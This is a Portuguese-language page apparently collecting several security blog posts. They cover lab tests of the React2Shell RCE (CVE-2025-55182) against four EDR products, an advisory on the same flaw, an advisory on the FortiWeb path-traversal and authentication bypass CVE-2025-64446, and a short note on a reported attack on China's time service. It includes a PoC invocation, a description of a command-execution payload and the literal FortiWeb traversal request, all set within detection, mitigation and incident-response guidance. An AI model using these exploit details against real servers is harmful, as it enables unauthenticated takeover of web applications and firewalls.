File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request resp = self.send(prep, **send_kwargs)File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send r = adapter.send(request, **kwargs)File "/usr/lib/python3/dist-packages/requests/adapters.py", line 682, in send raise ConnectionError(err, request=request)requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.21:3000""dir" █
Figura 4 – Mensagem de erro no ambiente atacante após ser interceptado
3.4 Consideraçõe éticas e créditos
Todos os testes foram feitos em rede isolada de laboratório, com versões fora de produção (React 19.00 – 19.2.0), e divulgadas apenas após mitigação; pesquisadores devem creditar devidamente a PoC utilizada, neste caso a Moritz Sanft, e aderir divulgações similares.
O PoC de Sanft explora uma aplicação Next.js padrão (criada via create-next-app), enviando payloads em parâmetros como “0” e “1” para manipular chunks de resposta e executar comandos como “id > /tmp/pwned” via child_process.execSync. Diferente de PoCs iniciais não funcionais (como ejpir/CVE-2025-55182-poc), o código de Sanft foi amplamente adotado em scans reais, precedendo o PoC oficial de Lachlan Davidson.
O repositório oficial é https://github.com/msanft/CVE-2025-55182, contendo explicação detalhada e código completo de RCE para React Server Functions em Next.js. Foi lançado em 4 de dezembro de 2025.
4. Resultados e Observações
Nos testes realizados com os ambiente, observou-se o seguinte comportamento:
Dos 4 agentes de proteção (EDRs) testados, apenas um conseguiu detectar e impedir a atividade maliciosa em tempo real. O agente gerou alertas específicos:
O Monitorador de Rede bloqueou uma tentativa de ataque.
– A tentativa mal-intencionada Exploit.CommandInjection.299[…]
– A tentativa mal-intencionada Exploit.HTTP.CVE-2025-55182[…]
Os alertas identificaram o exploit, a CVE relacionada e o local sendo atacado, além de impedir o ataque. Para os outros 3 ambientes testados, o payload foi extraído sem qualquer alerta, demonstrando a criticidade e evidenciando a necessidade de reforçar os EDR’s com métodos de mitigação, adequados a esta vulnerabilidade, e outras camadas de segurança.
A tabela a seguir resume os resultados observados:
Ambiente
EDR/Antivírus
Execução do Ataque
Alertas?
Bloqueio?
1
EDR XPToA
Sucesso
Não
Não
2
EDR XPToB
Sucesso
Não
Não
3
EDR XPToC
Sucesso
Não
Não
4
EDR XPToD
Bloqueado
Sim
Sim
4.1. Sobre os ambientes que não perceberam qualquer atividade
Os resultados de execução imediata do comando confirmam a necessidade de apenas acessar a rede, dispensando autenticação ou elevação de privilégios, o que permite inferir que a exploração ocorre como um ponto cego nos sistemas que ainda não possuem assinaturas ou modelos de detecção ajustados para o protocolo Flight ou requisições POST em geral.
4.2 Sobre o ambiente que detectou e bloqueou o ataque
Os alertas foram precisos e mencionaram explicitamente a tentativa de injeção de comando, exploração vinculada ao CVE-2025-55182 e a identificação do endpoint alvo. Isso confirma a eficiência e necessidade de agentes monitoradores atualizados e competentes para a segurança de servidores abertos à Internet, uma vez que não é possível prever o surgimento de toda vulnerabilidade capaz de destruir o sistema alvo.
5. Conclusões
A vulnerabilidade CVE-2025-55182 apresenta características típicas de uma falha altamente explorável, combinando baixa complexidade, impacto máximo, exploração silenciosa e ampla superfície de ataque (React + Next.js).
Os resultados laboratoriais evidenciam que assinaturas tradicionais não são suficientes para detectar o ataque — detecção comportamental em nível de processo e rede é determinante para identificar anomalias — e explicam o curto intervalo de tempo entre divulgação e exploração, pela facilidade desta, com grupos ativamente desenvolvendo variantes.
Ambientes que dependem apenas do antivírus nativo ou ferramentas desatualizadas ficam completamente expostos.
6. Mitigação e Recomendações
Para mitigar a vulnerabilidade CVE-2025-55182, recomenda-se:
Atualizar o Next.js para versão 16.0.7 ou superior – Sendo a ação mais crítica e urgente para todos os ambientes de produção.
Monitorar eventos ou tentativas de execução de payload – Implementar regras de detecção em plataformas EDR para identificar requisições POST suspeitas direcionadas a Server Functions.
Implementar Web Application Firewall (WAF) com regras para detectar chaves com ‘$’ e ‘:’ já que são características de ataques abusando dessa vulnerabilidade.
Manter logs detalhados de requisições POST e analisar regularmente para atividades suspeitas.
Realizar auditorias de segurança em aplicações React/Next.js para identificar potenciais pontos de exposição.
Caso necessário, é possível atribuir um limite de recursos ao processo do Node.js, isolar em containers (Hardening) ou feature flags para desativar parcialmente a RSC onde não for necessária.
REFERÊNCIAS
[1] NIST National Vulnerability Database, “CVE-2025-55182,” NVD, 3 de dezembro de 2025. [Online]. Disponível em: https://nvd.nist.gov/vuln/detail/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[2] msanft, “CVE-2025-55182,” GitHub, 4 de dezembro de 2025. [Online]. Disponível em: https://github.com/msanft/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[3] CJ Moses, “China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182),” Amazon Security Blog, 4 de dezembro de 2025. [Online]. Disponível em: https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/. [Acessado em: 10-Dez-2025].
[4] Rapid7, “React2Shell (CVE-2025-55182) – Critical unauthenticated RCE affecting React Server Components,” Rapid7 Blog, 4 de dezembro de 2025 (lançamento); 8 de dezembro de 2025 (atualização). [Online]. Disponível em: https://www.rapid7.com/blog/post/etr-react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/. [Acessado em: 10-Dez-2025].
O valor do EPSS saltou de 13,9% em 08/12/2025 para 76,01% HOJE 11/12/2025.
Com um valor de CVSS 10,0 é fundamental que sejam aplicadas as medidas de resolução imediatamente.
1. Introdução
No início de dezembro de 2025, uma vulnerabilidade de severidade crítica, apelidada de React2Shell, emergiu, abalando a comunidade de desenvolvimento web.
Identificada oficialmente como CVE-2025-55182, trata-se de uma falha de Execução Remota de Código Não Autenticada ou Unauthenticated Remote Code Execution (Unauthenticated RCE) e recebeu a pontuação máxima de 10.0 no Common Vulnerability Scoring System (CVSS), sinalizando um risco extremo para uma vasta gama de aplicações modernas.
Uma Execução Remota de Código Não Autenticada é uma vulnerabilidade que permite a um atacante executar comandos ou código arbitrário em um servidor remoto sem necessidade de possuir credenciais válidas ou autenticação prévia.
Diferentemente de vulnerabilidades que exigem que o invasor esteja logado ou tenha acesso autorizado ao sistema, uma Unauthenticated RCEpode ser explorada por qualquer pessoa com acesso à rede (geralmente a internet), tornando-a extremamente perigosa.
A vulnerabilidade reside no coração dos React Server Components (RSC), uma tecnologia cada vez mais adotada em frameworks populares como Next.js, afetando potencialmente mais de 40% dos principais websites da Internet.
Este artigo oferece uma análise técnica aprofundada da React2Shell, detalhando seu mecanismo de exploração, o impacto que pode causar e as medidas essenciais que as equipes de segurança e desenvolvimento devem tomar para mitigar esta ameaça iminente.
2. O Mecanismo da Exploração: Desserialização Insegura
A React2Shell NÃO é uma vulnerabilidade comum. Sua periculosidade reside na simplicidade de sua exploração.
Um atacante, sem qualquer tipo de autenticação, pode comprometer completamente um servidor vulnerável através de uma única requisição HTTP POST maliciosamente elaborada.
A raiz do problema está na forma como os React Server Components lidam com a desserialização de dados.
Quando um cliente envia uma requisição para um endpoint que utiliza Server Functions, o React transforma os dados recebidos em chamadas de função do lado do servidor.
Durante este processo, a vulnerabilidade permite que um payload manipulado seja desserializado sem as devidas validações de segurança. Isso cria um caminho direto para que o atacante injete e execute código arbitrário com os mesmos privilégios do processo do servidor Node.js, abrindo as portas para um comprometimento total do sistema.
2. Análise de Impacto: As Consequências de uma Exploração Bem-Sucedida
Uma vulnerabilidade de RCE pré-autenticação é o ativo mais cobiçado no arsenal de um agente malicioso. No caso da React2Shell, as consequências de uma exploração bem-sucedida são catastróficas e podem se manifestar de várias formas:
Comprometimento Total da Infraestrutura: O atacante obtém controle total sobre o servidor, permitindo acesso irrestrito ao sistema de arquivos, roubo de credenciais e a instalação de backdoors para acesso persistente.
Exfiltração de Dados Sensíveis: Uma vez dentro do sistema, o invasor pode acessar e exfiltrar informações críticas, como bancos de dados de clientes, segredos de aplicação (chaves de API, tokens), propriedade intelectual e lógica de negócios.
Movimento Lateral na Rede: O servidor comprometido torna-se um ponto de pivô, a partir do qual o atacante pode lançar novas ofensivas contra outros sistemas internos, bancos de dados e recursos na nuvem, expandindo o alcance do ataque por toda a organização.
Ataques de Ransomware e Interrupção de Negócios: Com controle total, os atacantes podem implantar ransomware, criptografando dados vitais e exigindo um resgate, ou simplesmente interromper as operações, causando perdas financeiras e danos à reputação.
2. Descrição Técnica
A vulnerabilidade decorre de desserialização insegura no protocolo Flight, mecanismo responsável por transportar estruturas dos Server Components entre cliente e servidor.
Ao receber um payload malicioso, o servidor interpreta dados arbitrários como referências de função, o que permite execução remota de código com privilégios equivalentes ao processo Node.js.
Condições de exploração
Não exige autenticação;
Não exige cookie, API key ou token;
Pode ser explorada por qualquer atacante com acesso ao endpoint RSC;
Vetor principal: HTTP POST com conteúdo Flight manipulado.
Impacto técnico
Execução remota de código (RCE);
Execução arbitrária de processos no host ou container;
Exfiltração de dados sensíveis;
Movimento lateral;
Possível comprometimento total de infraestrutura (quando mal configurada).
3. Sistemas Afetados
3.1 React e bibliotecas centrais
Conforme registros do NVD:
Pacote
Versões vulneráveis
Versões corrigidas
react-server-dom-webpack
19.0.0 a 19.2.0
19.0.1+, 19.1.2+, 19.2.1+
react-server-dom-parcel
19.0.0 a 19.2.0
19.0.1+, 19.1.2+, 19.2.1+
react-server-dom-turbopack
19.0.0 a 19.2.0
19.0.1+, 19.1.2+, 19.2.1+
3.2 Frameworks afetados
Next.js versões 15.x e 16.x; Associado adicionalmente ao CVE-2025-66478, conforme documentação CISA/NVD.
React Router com RSC;
Expo;
RedwoodJS;
Waku;
Plugins de integração RSC para Vite, Parcel e Turbopack.
4. Vetor de Ataque e Indicadores de Exploração
4.1 Vetor primário
POST /<endpoint-rsc>
Content-Type: application/json
Payload malformado contendo blocos Flight manipulados
4.2 Indicadores observáveis
Logs de erro do Flight referentes a parsing inesperado;
Picos súbitos de CPU em processos Node.js;
Tentativas de criação de processos via child_process.spawn/exec;
Comunicação egressa para hosts desconhecidos
Criação de artefatos suspeitos em /tmp em containers Linux
Comprometimento de clusters Kubernetes negligentemente isolados;
Uso da vulnerabilidade para implantação de webshells e reverse shells.
5. Mitigação
5.1 Patching obrigatório
Aplicar imediatamente as versões corrigidas dos pacotes React RSC e atualizar aplicações Next.js para releases não vulneráveis.
5.2 Controles compensatórios (temporários)
Regras de WAF para bloquear payloads suspeitos do protocolo Flight;
Monitoramento agressivo de tráfego de egressão;
Habilitar logs completos de chamadas RSC;
Bloquear criação de processos filho por Node.js quando possível;
Reforçar políticas noexec em diretórios temporários.
5.3 Defesa em profundidade
Execução do Node.js com mínimo privilégio;
Isolamento adequado de containers e namespaces;
Mecanismos RASP como camada adicional;
6. Avaliação de Risco
A vulnerabilidade é considerada Crítica, nível máximo no CVSS 10.0, devido a:
Exploração ativa confirmada globalmente
Ausência de barreiras de autenticação
Impacto direto em aplicações amplamente adotadas (React/Next.js)
Possibilidade de comprometimento total do ambiente
É altamente recomendável priorizar a correção em ambientes expostos à internet.
6.1. Sobre o EPSS e CVVS Score para React2Shel
Métrica
Valor
Score Inicial
0.46%
Score Atual
13.86% (8 de dezembro de 2025) 76,01% (atualizado em 11/12/2025)
Percentil
Em atualização contínua
O Problema: Uma Discrepância Crítica
Existe uma divergência significativa entre o CVSS (10.0 – Crítico) e o EPSS (13.86%), que revela uma limitação importante dos sistemas de scoring automatizados.
É importante entender que o EPSS é um “indicador retardado” (lagging indicator).
Embora tenha subido de 0.46% para 13.86% desde o início da publicação do CVE, ainda está muito abaixo do que os níveis reais de exploração justificariam, porque:
Exploração Ativa em Andamento: Grupos de ameaças vinculados à China já foram observados explorando a vulnerabilidade (AWS)
Liderança em Bug Bounty: É o #1 CVE mais explorado na plataforma HackerOne
Remediação Acelerada: Organizações estão remediando em menos de um dia em média
Escala Massiva: Mais de 12 milhões de sites potencialmente vulneráveis.
O Que Isso Significa
O EPSS demonstra que sistemas de scoring automatizados podem não acompanhar o ritmo de exploração em tempo real. Isso ressalta a importância de:
Não depender apenas de scores automatizados para priorização de vulnerabilidades críticas.
Usar feedback em tempo real de comunidades de segurança (bug bounty, threat intelligence).
Considerar o contexto operacional além dos scores numéricos
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Data: 14/11/2025 Severidade: Crítica – CVSS 9.8 Status: Explorada ativamente desde outubro/2025 Produtos afetados: FortiWeb 7.0 a 8.0 (múltiplas versões)
Resumo Executivo
Em 14 de novembro de 2025, a Fortinet e a Agência de Segurança Cibernética e de Infraestrutura dos EUA (CISA) divulgaram um alerta sobre uma vulnerabilidade crítica de Path Traversal (CWE-23) que afeta os produtos FortiWeb, o Web Application Firewall (WAF) da Fortinet. A falha, identificada como CVE-2025-64446, possui uma pontuação CVSSv3 de 9.8 (Crítica) e está sendo ativamente explorada por atacantes desde o início de outubro de 2025 1.
A vulnerabilidade permite que um atacante não autenticado execute comandos administrativos remotos em sistemas vulneráveis, levando a um comprometimento total do dispositivo. A CISA já adicionou esta falha ao seu catálogo de Vulnerabilidades Exploradas Conhecidas (KEV), com um prazo de remediação obrigatório até 21 de novembro de 2025
1. Visão Geral da Vulnerabilidade
A CVE-2025-64446 é uma vulnerabilidade crítica de Path Traversal (CWE-23) combinada com bypass de autenticação, permitindo que um atacante não autenticado execute operações administrativas via CGI (fwbcgi).
Esta é a terceira vulnerabilidade crítica da linha FortiWeb nos últimos 18 meses, reforçando o padrão preocupante de falhas severas na superfície de ataque de dispositivos de borda da Fortinet.
A falha ocorre em dois estágios principais:
Path Traversal no endpoint /api/v2.0/…
Impersonação via header CGIINFO (base64) aceito pela função cgi_auth() sem validação real
O resultado é o comprometimento total do dispositivo FortiWeb, com capacidade de persistência, desvio de políticas de segurança e movimentação lateral na rede.
A falha foi adicionada em 14/11/2025 ao catálogo CISA KEV (Known Exploited Vulnerabilities Catalog) com prazo de mitigação obrigatório até 21/11/2025.
2. Detalhes de Exploração
2.1 Estágio 1 – Path Traversal
No primeiro estágio, o atacante utiliza um endpoint de API válido para escapar do diretório esperado e alcançar o executável administrativo fwbcgi:
POST /api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi HTTP/1.1
O Path Traversal permite que requisições atinjam o binário fwbcgi, responsável por operações administrativas no dispositivo.
2.2 Estágio 2 – Impersonação via CGIINFO
O binário fwbcgi utiliza a função cgi_auth(), que:
não valida corretamente credenciais de autenticação;
aceita um header HTTP chamado CGIINFO;
confia em informações de identidade fornecidas em JSON, codificadas em Base64.
Exemplo de payload JSON, antes de ser codificado em Base64:
Quando esse payload é aceito, o sistema concede privilégios administrativos completos, permitindo ao atacante criar novas contas, alterar configurações e manter persistência no dispositivo.
3. Impacto Operacional
Um atacante que explore com sucesso a CVE-2025-64446 pode:
Criar usuários administradores persistentes e ocultos;
Modificar políticas, regras e perfis de proteção do WAF;
Desabilitar ou contornar mecanismos de segurança;
Exfiltrar dados inspecionados e registrados pelo WAF;
Realizar movimentação lateral a partir do dispositivo comprometido.
Por se tratar de um WAF de borda, a vulnerabilidade abre um vetor crítico para ataques internos a partir de um equipamento que, normalmente, é considerado parte da camada de proteção.
4. Versões Afetadas (Confirmadas)
Produto
Versões Vulneráveis
FortiWeb 8.0
8.0.0 – 8.0.1
FortiWeb 7.6
7.6.0 – 7.6.4
FortiWeb 7.4
7.4.0 – 7.4.9
FortiWeb 7.2
7.2.0 – 7.2.11
FortiWeb 7.0
7.0.0 – 7.0.11
5. Ação Recomendada (Imediata)
5.1 Atualizar Firmware – Única Remediação Definitiva
Além disso, monitorar requisições contendo o header CGIINFO com conteúdo Base64, principalmente oriundas de IPs externos ou não autorizados.
CGIINFO: <string_base64_suspeita>
IPs com múltiplas tentativas de POSTpara esses caminhos devem ser tratados como suspeitos, com correlação adicional em outros logs.
6.2 Sistema / Configurações
Nos próprios dispositivos FortiWeb, verificar:
Criação de novas contas de administrador, principalmente a partir de outubro de 2025;
Contas com perfil de acesso prof_admin ou super_admin não reconhecidas pela equipe de segurança;
Configurações de trust host definidas como 0.0.0.0/0 ou ::/0 em contas administrativas;
Alterações não autorizadas em políticas, perfis, certificados e regras de inspeção.
7. Procedimentos de Resposta a Incidente
Em caso de suspeita de exploração da CVE-2025-64446, recomenda-se o seguinte fluxo para equipes de Blue Team / CERT / CSIRT:
Isolar o dispositivo: restringir acesso administrativo externo, mantendo apenas o mínimo necessário para análise e operação.
Coletar logs: exportar logs de sistema, eventos, auditoria e administração para um servidor seguro de análise.
Revisar contas de usuário: identificar contas administrativas novas ou modificadas, sobretudo com perfis elevados.
Analisar headers CGIINFO: quando possível, decodificar strings Base64 para determinar tentativas de impersonação de administradores.
Aplicar atualização de firmware para as versões corrigidas recomendadas pela Fortinet.
Revalidar configuração: revisar políticas, objetos, perfis e parâmetros de segurança para identificar alterações maliciosas.
Verificar persistência: buscar scripts, agendamentos, acessos remotos ou configurações suspeitas que indiquem backdoors.
Monitorar pós-correção: manter monitoramento reforçado por pelo menos 72 horas após a atualização e a revisão de segurança.
8. Conclusão
A CVE-2025-64446 representa uma vulnerabilidade de alta criticidade em dispositivos FortiWeb, com exploração ativa e baixo nível de complexidade técnica para o atacante. Dispositivos expostos à Internet, principalmente em ambientes de alta criticidade, estão sob risco significativo.
A atualização para versões corrigidas deve ser tratada como prioridade máxima em planos de resposta a incidentes e gestão de vulnerabilidades, especialmente em:
Provedores de serviços de Internet (ISPs e provedores regionais);
Órgãos públicos e infraestruturas críticas;
Instituições financeiras e meios de pagamento;
Ambientes acadêmicos com grande exposição de aplicações web;
Empresas que utilizam o FortiWeb para proteger aplicações sensíveis.
Equipes de segurança devem tratar essa vulnerabilidade como um incidente de severidade máxima, combinando correção, caça a ameaças (threat hunting) e monitoramento contínuo.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Acompanhando algumas notícias recentemente a China acusou a NSA de ter realizado um ataque ao serviço de tempo (National Time Service Center) responsável por manter e transmitir o horário de Pequim
Assim como alguns problemas geopolíticos recentes do Brasil com o Estados Unidos, em que surgiu rumores da possibilidade de bloquearem o serviço de GPS, o Time Service poderia ter causado um grande caos para os chineses, parando serviços como comunicação de rede e até sistemas financeiros.
O mais interessante é que tudo começou por um ataque de triangulação de celulares e em seguida o roubo de credenciais.
E várias vezes já pegamos de problemas de autenticação relacionados ao Active Directory em que a causa raiz era os relógios dessincronizados.
João Fuzinelli, formado em Sistemas de informação possui algumas certificações de mercado e vasta experiência em ambientes de infraestrutura crítica e cibersegurança. Atualmente trabalha nas operações de SOC da CYLO Cybersecurity.